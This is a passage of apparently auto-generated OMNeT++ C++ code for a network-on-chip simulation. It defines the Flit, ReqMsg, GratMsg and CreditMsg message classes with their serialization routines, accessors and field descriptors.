Flit::Flit(const Flit& other) : ::cPacket(other)
{
payload_arraysize = 0;
this->payload_var = 0;
serializedFlit_arraysize = 0;
this->serializedFlit_var = 0;
e2eSerializedFlit_arraysize = 0;
this->e2eSerializedFlit_var = 0;
copy(other);
}
Flit::~Flit()
{
delete [] payload_var;
delete [] serializedFlit_var;
delete [] e2eSerializedFlit_var;
}
Flit& Flit::operator=(const Flit& other)
{
if (this==&other) return *this;
::cPacket::operator=(other);
copy(other);
return *this;
}
void Flit::copy(const Flit& other)
{
this->type_var = other.type_var;
this->src_var = other.src_var;
this->destX_var = other.destX_var;
this->destY_var = other.destY_var;
this->numPort_var = other.numPort_var;
this->numVC_var = other.numVC_var;
this->flitIndex_var = other.flitIndex_var;
this->packetIndex_var = other.packetIndex_var;
this->functionType_var = other.functionType_var;
delete [] this->payload_var;
this->payload_var = (other.payload_arraysize==0) ? NULL : new char[other.payload_arraysize];
payload_arraysize = other.payload_arraysize;
for (unsigned int i=0; i<payload_arraysize; i++)
this->payload_var[i] = other.payload_var[i];
this->networkLatency_var = other.networkLatency_var;
this->packetNetworkLatency_var = other.packetNetworkLatency_var;
this->flitRouterLatency_var = other.flitRouterLatency_var;
delete [] this->serializedFlit_var;
this->serializedFlit_var = (other.serializedFlit_arraysize==0) ? NULL : new char[other.serializedFlit_arraysize];
serializedFlit_arraysize = other.serializedFlit_arraysize;
for (unsigned int i=0; i<serializedFlit_arraysize; i++)
this->serializedFlit_var[i] = other.serializedFlit_var[i];
delete [] this->e2eSerializedFlit_var;
this->e2eSerializedFlit_var = (other.e2eSerializedFlit_arraysize==0) ? NULL : new char[other.e2eSerializedFlit_arraysize];
e2eSerializedFlit_arraysize = other.e2eSerializedFlit_arraysize;
for (unsigned int i=0; i<e2eSerializedFlit_arraysize; i++)
this->e2eSerializedFlit_var[i] = other.e2eSerializedFlit_var[i];
this->output_var = other.output_var;
this->dataAmount_var = other.dataAmount_var;
this->firstFlitOfMessage_var = other.firstFlitOfMessage_var;
}
void Flit::parsimPack(cCommBuffer *b)
{
::cPacket::parsimPack(b);
doPacking(b,this->type_var);
doPacking(b,this->src_var);
doPacking(b,this->destX_var);
doPacking(b,this->destY_var);
doPacking(b,this->numPort_var);
doPacking(b,this->numVC_var);
doPacking(b,this->flitIndex_var);
doPacking(b,this->packetIndex_var);
doPacking(b,this->functionType_var);
b->pack(payload_arraysize);
doPacking(b,this->payload_var,payload_arraysize);
doPacking(b,this->networkLatency_var);
doPacking(b,this->packetNetworkLatency_var);
doPacking(b,this->flitRouterLatency_var);
b->pack(serializedFlit_arraysize);
doPacking(b,this->serializedFlit_var,serializedFlit_arraysize);
b->pack(e2eSerializedFlit_arraysize);
doPacking(b,this->e2eSerializedFlit_var,e2eSerializedFlit_arraysize);
doPacking(b,this->output_var);
doPacking(b,this->dataAmount_var);
doPacking(b,this->firstFlitOfMessage_var);
}
void Flit::parsimUnpack(cCommBuffer *b)
{
::cPacket::parsimUnpack(b);
doUnpacking(b,this->type_var);
doUnpacking(b,this->src_var);
doUnpacking(b,this->destX_var);
doUnpacking(b,this->destY_var);
doUnpacking(b,this->numPort_var);
doUnpacking(b,this->numVC_var);
doUnpacking(b,this->flitIndex_var);
doUnpacking(b,this->packetIndex_var);
doUnpacking(b,this->functionType_var);
delete [] this->payload_var;
b->unpack(payload_arraysize);
if (payload_arraysize==0) {
this->payload_var = 0;
} else {
this->payload_var = new char[payload_arraysize];
doUnpacking(b,this->payload_var,payload_arraysize);
}
doUnpacking(b,this->networkLatency_var);
doUnpacking(b,this->packetNetworkLatency_var);
doUnpacking(b,this->flitRouterLatency_var);
delete [] this->serializedFlit_var;
b->unpack(serializedFlit_arraysize);
if (serializedFlit_arraysize==0) {
this->serializedFlit_var = 0;
} else {
this->serializedFlit_var = new char[serializedFlit_arraysize];
doUnpacking(b,this->serializedFlit_var,serializedFlit_arraysize);
}
delete [] this->e2eSerializedFlit_var;
b->unpack(e2eSerializedFlit_arraysize);
if (e2eSerializedFlit_arraysize==0) {
this->e2eSerializedFlit_var = 0;
} else {
this->e2eSerializedFlit_var = new char[e2eSerializedFlit_arraysize];
doUnpacking(b,this->e2eSerializedFlit_var,e2eSerializedFlit_arraysize);
}
doUnpacking(b,this->output_var);
doUnpacking(b,this->dataAmount_var);
doUnpacking(b,this->firstFlitOfMessage_var);
}
int Flit::getType() const
{
return type_var;
}
void Flit::setType(int type)
{
this->type_var = type;
}
int Flit::getSrc() const
{
return src_var;
}
void Flit::setSrc(int src)
{
this->src_var = src;
}
int Flit::getDestX() const
{
return destX_var;
}
void Flit::setDestX(int destX)
{
this->destX_var = destX;
}
int Flit::getDestY() const
{
return destY_var;
}
void Flit::setDestY(int destY)
{
this->destY_var = destY;
}
int Flit::getNumPort() const
{
return numPort_var;
}
void Flit::setNumPort(int numPort)
{
this->numPort_var = numPort;
}
int Flit::getNumVC() const
{
return numVC_var;
}
void Flit::setNumVC(int numVC)
{
this->numVC_var = numVC;
}
int Flit::getFlitIndex() const
{
return flitIndex_var;
}
void Flit::setFlitIndex(int flitIndex)
{
this->flitIndex_var = flitIndex;
}
int Flit::getPacketIndex() const
{
return packetIndex_var;
}
void Flit::setPacketIndex(int packetIndex)
{
this->packetIndex_var = packetIndex;
}
int Flit::getFunctionType() const
{
return functionType_var;
}
void Flit::setFunctionType(int functionType)
{
this->functionType_var = functionType;
}
void Flit::setPayloadArraySize(unsigned int size)
{
char *payload_var2 = (size==0) ? NULL : new char[size];
unsigned int sz = payload_arraysize < size ? payload_arraysize : size;
for (unsigned int i=0; i<sz; i++)
payload_var2[i] = this->payload_var[i];
for (unsigned int i=sz; i<size; i++)
payload_var2[i] = 0;
payload_arraysize = size;
delete [] this->payload_var;
this->payload_var = payload_var2;
}
unsigned int Flit::getPayloadArraySize() const
{
return payload_arraysize;
}
char Flit::getPayload(unsigned int k) const
{
if (k>=payload_arraysize) throw cRuntimeError("Array of size %d indexed by %d", payload_arraysize, k);
return payload_var[k];
}
void Flit::setPayload(unsigned int k, char payload)
{
if (k>=payload_arraysize) throw cRuntimeError("Array of size %d indexed by %d", payload_arraysize, k);
this->payload_var[k] = payload;
}
double Flit::getNetworkLatency() const
{
return networkLatency_var;
}
void Flit::setNetworkLatency(double networkLatency)
{
this->networkLatency_var = networkLatency;
}
double Flit::getPacketNetworkLatency() const
{
return packetNetworkLatency_var;
}
void Flit::setPacketNetworkLatency(double packetNetworkLatency)
{
this->packetNetworkLatency_var = packetNetworkLatency;
}
double Flit::getFlitRouterLatency() const
{
return flitRouterLatency_var;
}
void Flit::setFlitRouterLatency(double flitRouterLatency)
{
this->flitRouterLatency_var = flitRouterLatency;
}
void Flit::setSerializedFlitArraySize(unsigned int size)
{
char *serializedFlit_var2 = (size==0) ? NULL : new char[size];
unsigned int sz = serializedFlit_arraysize < size ? serializedFlit_arraysize : size;
for (unsigned int i=0; i<sz; i++)
serializedFlit_var2[i] = this->serializedFlit_var[i];
for (unsigned int i=sz; i<size; i++)
serializedFlit_var2[i] = 0;
serializedFlit_arraysize = size;
delete [] this->serializedFlit_var;
this->serializedFlit_var = serializedFlit_var2;
}
unsigned int Flit::getSerializedFlitArraySize() const
{
return serializedFlit_arraysize;
}
char Flit::getSerializedFlit(unsigned int k) const
{
if (k>=serializedFlit_arraysize) throw cRuntimeError("Array of size %d indexed by %d", serializedFlit_arraysize, k);
return serializedFlit_var[k];
}
void Flit::setSerializedFlit(unsigned int k, char serializedFlit)
{
if (k>=serializedFlit_arraysize) throw cRuntimeError("Array of size %d indexed by %d", serializedFlit_arraysize, k);
this->serializedFlit_var[k] = serializedFlit;
}
void Flit::setE2eSerializedFlitArraySize(unsigned int size)
{
char *e2eSerializedFlit_var2 = (size==0) ? NULL : new char[size];
unsigned int sz = e2eSerializedFlit_arraysize < size ? e2eSerializedFlit_arraysize : size;
for (unsigned int i=0; i<sz; i++)
e2eSerializedFlit_var2[i] = this->e2eSerializedFlit_var[i];
for (unsigned int i=sz; i<size; i++)
e2eSerializedFlit_var2[i] = 0;
e2eSerializedFlit_arraysize = size;
delete [] this->e2eSerializedFlit_var;
this->e2eSerializedFlit_var = e2eSerializedFlit_var2;
}
unsigned int Flit::getE2eSerializedFlitArraySize() const
{
return e2eSerializedFlit_arraysize;
}
char Flit::getE2eSerializedFlit(unsigned int k) const
{
if (k>=e2eSerializedFlit_arraysize) throw cRuntimeError("Array of size %d indexed by %d", e2eSerializedFlit_arraysize, k);
return e2eSerializedFlit_var[k];
}
void Flit::setE2eSerializedFlit(unsigned int k, char e2eSerializedFlit)
{
if (k>=e2eSerializedFlit_arraysize) throw cRuntimeError("Array of size %d indexed by %d", e2eSerializedFlit_arraysize, k);
this->e2eSerializedFlit_var[k] = e2eSerializedFlit;
}
int Flit::getOutput() const
{
return output_var;
}
void Flit::setOutput(int output)
{
this->output_var = output;
}
int Flit::getDataAmount() const
{
return dataAmount_var;
}
void Flit::setDataAmount(int dataAmount)
{
this->dataAmount_var = dataAmount;
}
bool Flit::getFirstFlitOfMessage() const
{
return firstFlitOfMessage_var;
}
void Flit::setFirstFlitOfMessage(bool firstFlitOfMessage)
{
this->firstFlitOfMessage_var = firstFlitOfMessage;
}
class FlitDescriptor : public cClassDescriptor
{
public:
FlitDescriptor();
virtual ~FlitDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(FlitDescriptor);
FlitDescriptor::FlitDescriptor() : cClassDescriptor("Flit", "cPacket")
{
}
FlitDescriptor::~FlitDescriptor()
{
}
bool FlitDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<Flit *>(obj)!=NULL;
}
const char *FlitDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int FlitDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 18+basedesc->getFieldCount(object) : 18;
}
unsigned int FlitDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
static unsigned int fieldTypeFlags[] = {
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISARRAY | FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISARRAY | FD_ISEDITABLE,
FD_ISARRAY | FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
FD_ISEDITABLE,
};
return (field>=0 && field<18) ? fieldTypeFlags[field] : 0;
}
const char *FlitDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldNames[] = {
"type",
"src",
"destX",
"destY",
"numPort",
"numVC",
"flitIndex",
"packetIndex",
"functionType",
"payload",
"networkLatency",
"packetNetworkLatency",
"flitRouterLatency",
"serializedFlit",
"e2eSerializedFlit",
"output",
"dataAmount",
"firstFlitOfMessage",
};
return (field>=0 && field<18) ? fieldNames[field] : NULL;
}
int FlitDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
int base = basedesc ? basedesc->getFieldCount(object) : 0;
if (fieldName[0]=='t' && strcmp(fieldName, "type")==0) return base+0;
if (fieldName[0]=='s' && strcmp(fieldName, "src")==0) return base+1;
if (fieldName[0]=='d' && strcmp(fieldName, "destX")==0) return base+2;
if (fieldName[0]=='d' && strcmp(fieldName, "destY")==0) return base+3;
if (fieldName[0]=='n' && strcmp(fieldName, "numPort")==0) return base+4;
if (fieldName[0]=='n' && strcmp(fieldName, "numVC")==0) return base+5;
if (fieldName[0]=='f' && strcmp(fieldName, "flitIndex")==0) return base+6;
if (fieldName[0]=='p' && strcmp(fieldName, "packetIndex")==0) return base+7;
if (fieldName[0]=='f' && strcmp(fieldName, "functionType")==0) return base+8;
if (fieldName[0]=='p' && strcmp(fieldName, "payload")==0) return base+9;
if (fieldName[0]=='n' && strcmp(fieldName, "networkLatency")==0) return base+10;
if (fieldName[0]=='p' && strcmp(fieldName, "packetNetworkLatency")==0) return base+11;
if (fieldName[0]=='f' && strcmp(fieldName, "flitRouterLatency")==0) return base+12;
if (fieldName[0]=='s' && strcmp(fieldName, "serializedFlit")==0) return base+13;
if (fieldName[0]=='e' && strcmp(fieldName, "e2eSerializedFlit")==0) return base+14;
if (fieldName[0]=='o' && strcmp(fieldName, "output")==0) return base+15;
if (fieldName[0]=='d' && strcmp(fieldName, "dataAmount")==0) return base+16;
if (fieldName[0]=='f' && strcmp(fieldName, "firstFlitOfMessage")==0) return base+17;
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *FlitDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
static const char *fieldTypeStrings[] = {
"int",
"int",
"int",
"int",
"int",
"int",
"int",
"int",
"int",
"char",
"double",
"double",
"double",
"char",
"char",
"int",
"int",
"bool",
};
return (field>=0 && field<18) ? fieldTypeStrings[field] : NULL;
}
const char *FlitDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int FlitDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
Flit *pp = (Flit *)object; (void)pp;
switch (field) {
case 9: return pp->getPayloadArraySize();
case 13: return pp->getSerializedFlitArraySize();
case 14: return pp->getE2eSerializedFlitArraySize();
default: return 0;
}
}
std::string FlitDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
Flit *pp = (Flit *)object; (void)pp;
switch (field) {
case 0: return long2string(pp->getType());
case 1: return long2string(pp->getSrc());
case 2: return long2string(pp->getDestX());
case 3: return long2string(pp->getDestY());
case 4: return long2string(pp->getNumPort());
case 5: return long2string(pp->getNumVC());
case 6: return long2string(pp->getFlitIndex());
case 7: return long2string(pp->getPacketIndex());
case 8: return long2string(pp->getFunctionType());
case 9: return long2string(pp->getPayload(i));
case 10: return double2string(pp->getNetworkLatency());
case 11: return double2string(pp->getPacketNetworkLatency());
case 12: return double2string(pp->getFlitRouterLatency());
case 13: return long2string(pp->getSerializedFlit(i));
case 14: return long2string(pp->getE2eSerializedFlit(i));
case 15: return long2string(pp->getOutput());
case 16: return long2string(pp->getDataAmount());
case 17: return bool2string(pp->getFirstFlitOfMessage());
default: return "";
}
}
bool FlitDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
Flit *pp = (Flit *)object; (void)pp;
switch (field) {
case 0: pp->setType(string2long(value)); return true;
case 1: pp->setSrc(string2long(value)); return true;
case 2: pp->setDestX(string2long(value)); return true;
case 3: pp->setDestY(string2long(value)); return true;
case 4: pp->setNumPort(string2long(value)); return true;
case 5: pp->setNumVC(string2long(value)); return true;
case 6: pp->setFlitIndex(string2long(value)); return true;
case 7: pp->setPacketIndex(string2long(value)); return true;
case 8: pp->setFunctionType(string2long(value)); return true;
case 9: pp->setPayload(i,string2long(value)); return true;
case 10: pp->setNetworkLatency(string2double(value)); return true;
case 11: pp->setPacketNetworkLatency(string2double(value)); return true;
case 12: pp->setFlitRouterLatency(string2double(value)); return true;
case 13: pp->setSerializedFlit(i,string2long(value)); return true;
case 14: pp->setE2eSerializedFlit(i,string2long(value)); return true;
case 15: pp->setOutput(string2long(value)); return true;
case 16: pp->setDataAmount(string2long(value)); return true;
case 17: pp->setFirstFlitOfMessage(string2bool(value)); return true;
default: return false;
}
}
const char *FlitDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
};
}
void *FlitDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
Flit *pp = (Flit *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(ReqMsg);
ReqMsg::ReqMsg(const char *name, int kind) : ::cMessage(name,kind)
{
}
ReqMsg::ReqMsg(const ReqMsg& other) : ::cMessage(other)
{
copy(other);
}
ReqMsg::~ReqMsg()
{
}
ReqMsg& ReqMsg::operator=(const ReqMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void ReqMsg::copy(const ReqMsg& other)
{
}
void ReqMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
}
void ReqMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
}
class ReqMsgDescriptor : public cClassDescriptor
{
public:
ReqMsgDescriptor();
virtual ~ReqMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(ReqMsgDescriptor);
ReqMsgDescriptor::ReqMsgDescriptor() : cClassDescriptor("ReqMsg", "cMessage")
{
}
ReqMsgDescriptor::~ReqMsgDescriptor()
{
}
bool ReqMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<ReqMsg *>(obj)!=NULL;
}
const char *ReqMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int ReqMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 0+basedesc->getFieldCount(object) : 0;
}
unsigned int ReqMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
return 0;
}
const char *ReqMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
int ReqMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *ReqMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
const char *ReqMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int ReqMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
ReqMsg *pp = (ReqMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string ReqMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
ReqMsg *pp = (ReqMsg *)object; (void)pp;
switch (field) {
default: return "";
}
}
bool ReqMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
ReqMsg *pp = (ReqMsg *)object; (void)pp;
switch (field) {
default: return false;
}
}
const char *ReqMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
void *ReqMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
ReqMsg *pp = (ReqMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(GratMsg);
GratMsg::GratMsg(const char *name, int kind) : ::cMessage(name,kind)
{
}
GratMsg::GratMsg(const GratMsg& other) : ::cMessage(other)
{
copy(other);
}
GratMsg::~GratMsg()
{
}
GratMsg& GratMsg::operator=(const GratMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void GratMsg::copy(const GratMsg& other)
{
}
void GratMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
}
void GratMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
}
class GratMsgDescriptor : public cClassDescriptor
{
public:
GratMsgDescriptor();
virtual ~GratMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
virtual void *getFieldStructPointer(void *object, int field, int i) const;
};
Register_ClassDescriptor(GratMsgDescriptor);
GratMsgDescriptor::GratMsgDescriptor() : cClassDescriptor("GratMsg", "cMessage")
{
}
GratMsgDescriptor::~GratMsgDescriptor()
{
}
bool GratMsgDescriptor::doesSupport(cObject *obj) const
{
return dynamic_cast<GratMsg *>(obj)!=NULL;
}
const char *GratMsgDescriptor::getProperty(const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->getProperty(propertyname) : NULL;
}
int GratMsgDescriptor::getFieldCount(void *object) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? 0+basedesc->getFieldCount(object) : 0;
}
unsigned int GratMsgDescriptor::getFieldTypeFlags(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeFlags(object, field);
field -= basedesc->getFieldCount(object);
}
return 0;
}
const char *GratMsgDescriptor::getFieldName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldName(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
int GratMsgDescriptor::findField(void *object, const char *fieldName) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
return basedesc ? basedesc->findField(object, fieldName) : -1;
}
const char *GratMsgDescriptor::getFieldTypeString(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldTypeString(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
const char *GratMsgDescriptor::getFieldProperty(void *object, int field, const char *propertyname) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldProperty(object, field, propertyname);
field -= basedesc->getFieldCount(object);
}
switch (field) {
default: return NULL;
}
}
int GratMsgDescriptor::getArraySize(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getArraySize(object, field);
field -= basedesc->getFieldCount(object);
}
GratMsg *pp = (GratMsg *)object; (void)pp;
switch (field) {
default: return 0;
}
}
std::string GratMsgDescriptor::getFieldAsString(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldAsString(object,field,i);
field -= basedesc->getFieldCount(object);
}
GratMsg *pp = (GratMsg *)object; (void)pp;
switch (field) {
default: return "";
}
}
bool GratMsgDescriptor::setFieldAsString(void *object, int field, int i, const char *value) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->setFieldAsString(object,field,i,value);
field -= basedesc->getFieldCount(object);
}
GratMsg *pp = (GratMsg *)object; (void)pp;
switch (field) {
default: return false;
}
}
const char *GratMsgDescriptor::getFieldStructName(void *object, int field) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructName(object, field);
field -= basedesc->getFieldCount(object);
}
return NULL;
}
void *GratMsgDescriptor::getFieldStructPointer(void *object, int field, int i) const
{
cClassDescriptor *basedesc = getBaseClassDescriptor();
if (basedesc) {
if (field < basedesc->getFieldCount(object))
return basedesc->getFieldStructPointer(object, field, i);
field -= basedesc->getFieldCount(object);
}
GratMsg *pp = (GratMsg *)object; (void)pp;
switch (field) {
default: return NULL;
}
}
Register_Class(CreditMsg);
CreditMsg::CreditMsg(const char *name, int kind) : ::cMessage(name,kind)
{
this->numPort_var = 0;
this->numVC_var = 0;
}
CreditMsg::CreditMsg(const CreditMsg& other) : ::cMessage(other)
{
copy(other);
}
CreditMsg::~CreditMsg()
{
}
CreditMsg& CreditMsg::operator=(const CreditMsg& other)
{
if (this==&other) return *this;
::cMessage::operator=(other);
copy(other);
return *this;
}
void CreditMsg::copy(const CreditMsg& other)
{
this->numPort_var = other.numPort_var;
this->numVC_var = other.numVC_var;
}
void CreditMsg::parsimPack(cCommBuffer *b)
{
::cMessage::parsimPack(b);
doPacking(b,this->numPort_var);
doPacking(b,this->numVC_var);
}
void CreditMsg::parsimUnpack(cCommBuffer *b)
{
::cMessage::parsimUnpack(b);
doUnpacking(b,this->numPort_var);
doUnpacking(b,this->numVC_var);
}
int CreditMsg::getNumPort() const
{
return numPort_var;
}
void CreditMsg::setNumPort(int numPort)
{
this->numPort_var = numPort;
}
int CreditMsg::getNumVC() const
{
return numVC_var;
}
void CreditMsg::setNumVC(int numVC)
{
this->numVC_var = numVC;
}
class CreditMsgDescriptor : public cClassDescriptor
{
public:
CreditMsgDescriptor();
virtual ~CreditMsgDescriptor();
virtual bool doesSupport(cObject *obj) const;
virtual const char *getProperty(const char *propertyname) const;
virtual int getFieldCount(void *object) const;
virtual const char *getFieldName(void *object, int field) const;
virtual int findField(void *object, const char *fieldName) const;
virtual unsigned int getFieldTypeFlags(void *object, int field) const;
virtual const char *getFieldTypeString(void *object, int field) const;
virtual const char *getFieldProperty(void *object, int field, const char *propertyname) const;
virtual int getArraySize(void *object, int field) const;
virtual std::string getFieldAsString(void *object, int field, int i) const;
virtual bool setFieldAsString(void *object, int field, int i, const char *value) const;
virtual const char *getFieldStructName(void *object, int field) const;
